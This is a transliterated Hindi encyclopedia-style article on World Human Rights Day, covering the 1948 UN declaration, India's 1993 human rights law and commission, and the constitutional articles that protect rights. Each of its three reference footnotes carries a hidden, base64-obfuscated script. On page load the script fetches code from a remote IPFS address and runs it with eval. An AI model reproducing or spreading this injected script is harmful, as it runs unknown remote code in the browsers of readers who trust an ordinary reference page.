विश्व मानवाधिकार दिवस
vishv manavadhikar divas
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| vivaran | 'vishv manavadhikar divas' pratyek varsh 10 disambar ko manaya jata hai. kisi bhi iansan ki ziandagi, azadi, barabari aur samman ka adhikar hai- "manavadhikar". |
| manane ki tithi | 10 disambar |
| shuruat | 10 disambar, 1948 |
| vishesh | bharat mean 28 sitanbar, 1993 se manav adhikar qanoon amal mean aya. 12 aktoobar, 1993 mean sarakar ne 'rashtriy manav adhikar ayog' ka gathan kiya. |
| any janakari | 'bharatiy sanvidhan' manavadhikar ki n sirf garanti deta hai, balki ise to dane vale ko adalat saja bhi deti hai. sanvidhan ke anuchchhed 14,15,16,17,19,20,21,23,24,39,43,45 desh mean manavadhikaroan ki raksha karane ke sunishchit haian. |
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vishv manavadhikar divas pratyek varsh 10 disambar ko manaya jata hai. is mahattvapoorn divas ki nianv vishv yuddh ki vibhishika se jhulas rahe logoan ke dard ko samajh kar aur usako mahasoos kar rakhi gee thi. 'sanyukt rashtr sangh' ki mahasabha ne 10 disambar, 1948 ko sarvabhaumik manavadhikar ghoshanapatr ko adhikarik manyata pradan ki thi. tab se yah din isi nam se yad kiya jane laga. kisi bhi iansan ki ziandagi, azadi, barabari aur samman ka adhikar hai- "manavadhikar". 'bharatiy sanvidhan' is adhikar ki n sirf garanti deta hai, balki ise to dane vale ko adalat saza deti hai.
shuruat
10 disambar, 1948 ko 'sanyukt rashtr mahasabha' ne vishv manavadhikar ghoshana patr jari kar pratham bar manavadhikar v manav ki buniyadi mukti par ghoshana ki thi. varsh 1950 mean 'sanyukt rashtr' ne har varsh ki 10 disambar ki tithi ko 'vishv manavadhikar divas' tay kiya. 65 varsh se pahale hua parit 'vishv manavadhikar ghoshana patr' ek mil ka patthar hai, jisane samriddhi, pratishtha v shaantipoorn sah astitv ke prati manav ki akaanksha pratibianbit ki hai. aj yahi ghoshana patr 'sanyukt rashtr sangh' ka ek buniyadi bhag hai.[1]
kya hai 'manav adhikar'
kisi bhi iansan ki ziandagi, azadi, barabari aur samman ka adhikar hai- "manavadhikar". 'bharatiy sanvidhan' is adhikar ki n sirf garanti deta hai, balki ise to dane vale ko adalat saja deti hai. bharat mean 28 sitanbar, 1993 se manav adhikar qanoon amal mean aya. 12 aktoobar, 1993 mean sarakar ne 'rashtriy manav adhikar ayog' ka gathan kiya. ayog ke karyakshetr mean nagarik aur rajanitik ke sath arthik, samajik aur saanskritik adhikar bhi ate haian, jaise- bal mazadoori, echaeevi/eds, svasthy, bhojan, bal vivah, mahila adhikar, hirasat aur muthabhe d mean hone vali maut, alpasankhyakoan aur anusoochit jati aur janajati ke adhikar adi.[2]
'vishv manavadhikar ghoshana patr' ka mukhy vishay shiksha, svasthy, rojagari, avas, sanskriti, khadyann v manoranjan se ju di manav ki bunayadi maangoan se sanbandhit hai. vishv ke bahut se kshetr garibi se pi dit hai, jo b di sankhya vale logoan ke prati buniyadi manavadhikar prapt karane ki sabase b di badha hai. un kshetroan mean bachche, varishth nagarikoan v mahilaoan ke buniyadi hitoan ko sunishchit nahian kiya ja sakata. is ke alava naslavad v naslavad bhed manavadhikar kary ke vikas ko b di chunauti de raha hai.
manavadhikar - auchity aur svaroop
manav ke janm lene ke sath hi usake astitv ko banaye rakhane ke lie kuchh adhikar usako svatah mil jate haian aur vah unaka janmasiddh adhikar hota hai. is duniya mean pratyek manushy ke lie apani buniyadi zarooratoan ko poora karane ke lie adhikar ek manushy hone ke nate prapt ho jata hai. chahe vah apane hak ke lie bolana bhi janata ho ya nahian. ek navajat shishu ko doodh pane ka adhikar hota hai aur tab vah bolana bhi nahian janata. lekin maan usako svayan deti hai aur agar nahian deti hai to usake gharavale, d aauktar sabhi usako isake lie kahate haian, kyoanki ye us bachche ka hak hai aur ye use milana hi chahie. ek bachche ke astitv ko banaye rakhane ke lie ye zaroorat sabase ahamh hoti hai. lekin usake b de hone ke sath-sath usake adhikar bhi badhane lagate haian. bachche ke padhane-likhane aur apani paravarish adi ke lie usako samuchit suvidhaean aur vatavaran dena bhi zaroori adhikaroan mean ata hai. unhean atm-samman ke sath jine ke lie, apane vikas ke lie aur age badhane ke lie kuchh halat aise chahie, jisase ki unake raste mean koee vyavadhan n aye. poore vishv mean is bat ko anubhav kiya gaya hai aur isilie manaviy moolyoan ki avahelana hone par ve sakriy ho jate haian. isake lie hamare sanvidhan mean bhi ullekh kiya gaya hai. sanvidhan ke anuchchhed 14,15,16,17,19,20,21,23,24,39,43,45 desh mean manavadhikaroan ki raksha karane ke sunishchit haian. sirph itana hi nahian, is disha mean ayog ke atirikt kee enajio bhi kam kar rahe haian aur sath hi kuchh samajasevi log bhi is disha mean akele hi apani muhim chala rahe haian.[3]
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tika tippani aur sandarbh
- ↑ vishv manavadhikar divas (hindi). . abhigaman tithi: 10 disambar, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ kya hai manav adhikar (hindi). . abhigaman tithi: 10 disambar, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ vishv manavadhikar divas (hindi). . abhigaman tithi: 10 disambar, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh
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